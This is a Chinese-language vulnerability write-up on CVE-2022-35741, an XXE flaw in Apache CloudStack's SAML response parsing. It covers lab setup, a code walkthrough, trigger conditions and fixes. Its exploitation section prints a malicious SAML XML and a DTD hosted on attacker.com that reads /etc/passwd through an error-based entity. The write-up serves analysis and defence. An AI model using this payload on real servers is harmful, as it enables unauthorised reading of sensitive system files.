CVE-2022-35741 Apache CloudStack SAML XXE注入
字数 1228 2025-08-26 22:11:15
Apache CloudStack SAML XXE注入漏洞分析(CVE-2022-35741)
漏洞概述
CVE-2022-35741是Apache CloudStack中存在的一个XXE(XML External Entity)注入漏洞,影响SAML认证功能。攻击者可以通过构造恶意的SAML响应,在服务器上执行任意文件读取操作。
环境搭建
使用Docker快速搭建测试环境
- 拉取预构建的CloudStack模拟器镜像:
docker pull ustcweizhou/cloudstack-simulator
- 运行容器:
docker run --name cloudstack-simulator -p 8888:5050 -p 9999:9999 -d ustcweizhou/cloudstack-simulator
- 8888端口:Web管理界面
- 9999端口:远程调试端口
- 配置远程调试:
# 在宿主机创建supervisord配置文件
vim supervisord.conf
# 内容如下:
[supervisord]
nodaemon=true
[program:mysqld]
command=/usr/bin/mysqld_safe
autostart=true
autorestart=true
user=root
[program:cloudstack]
command=/bin/bash -c "export MAVEN_OPTS='-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:9999';mvn -pl client jetty:run -Dsimulator -Dorg.eclipse.jetty.annotations.maxWait=120"
directory=/root
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
user=root
[program:cloudstack-ui]
command=/bin/bash -c "npm run serve"
directory=/root/ui
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
user=root
- 将配置文件复制到容器并更新:
docker cp supervisord.conf 容器id:/etc/supervisor/conf.d/supervisord.conf
docker exec -it 容器id bash
supervisorctl update
漏洞分析
漏洞触发路径
-
入口点:
ApiServlet类的processRequestInContext方法- 处理所有
/api/路径下的请求 - 从请求参数中提取
command和SAMLResponse
- 处理所有
-
认证流程:
- 检查
command是否为saml相关命令(samlsso或samlslo) - 调用
SAML2LoginAPIAuthenticatorCmd的authenticate方法 - 最终调用
decodeSAMLResponse处理SAML响应
- 检查
-
漏洞点:
decodeSAMLResponse方法中对responseMessage进行Base64解码后直接进行XML解析- 未禁用外部实体解析,导致XXE漏洞
关键代码分析
// 在SAML2LoginAPIAuthenticatorCmd类中
protected void processSAMLResponse(String responseMessage) {
String decodedResponse = decodeSAMLResponse(responseMessage);
// 解析XML,未禁用XXE
}
// 解码SAML响应
private String decodeSAMLResponse(String responseMessage) {
return new String(Base64.decodeBase64(responseMessage));
}
触发条件
-
SAML必须启用:
- 在全局配置中将
saml2.enabled设置为true
- 在全局配置中将
-
请求必须满足:
- 发送到
/api/路径 - 包含
command参数,值为samlsso或samlslo - 包含
SAMLResponse参数,值为恶意构造的Base64编码XML
- 发送到
漏洞利用
基本利用方式
构造恶意SAML响应:
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://attacker.com/ev.dtd">
%ext;
]>
<message></message>
外部DTD文件(ev.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
利用限制
-
JDK版本影响:
- JDK < 7u141 或 < 8u131:不受文件中换行符影响
- JDK 8u131-8u231:能创建FTP连接,但文件内容含换行符会抛出异常
- JDK ≥ 8u232:只要URL含换行符就无法创建FTP连接
-
CloudStack环境:
- 使用OpenJDK 11.0.15,属于高版本JDK
- 传统的FTP外带数据方法失效
- 错误信息中可能包含文件内容,但不会回显到前端
修复建议
-
官方修复方案:
- 升级到已修复版本
- 在XML解析器中禁用外部实体:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
-
临时缓解措施:
- 禁用SAML功能(如果不使用)
- 配置WAF拦截包含
<!DOCTYPE或<!ENTITY的请求
总结
CVE-2022-35741是一个典型的XXE注入漏洞,由于Apache CloudStack在解析SAML响应时未正确配置XML解析器导致。虽然在高版本JDK环境下难以实现数据外带,但仍可能造成敏感信息泄露。开发人员应始终在解析XML时禁用外部实体,以防止此类漏洞。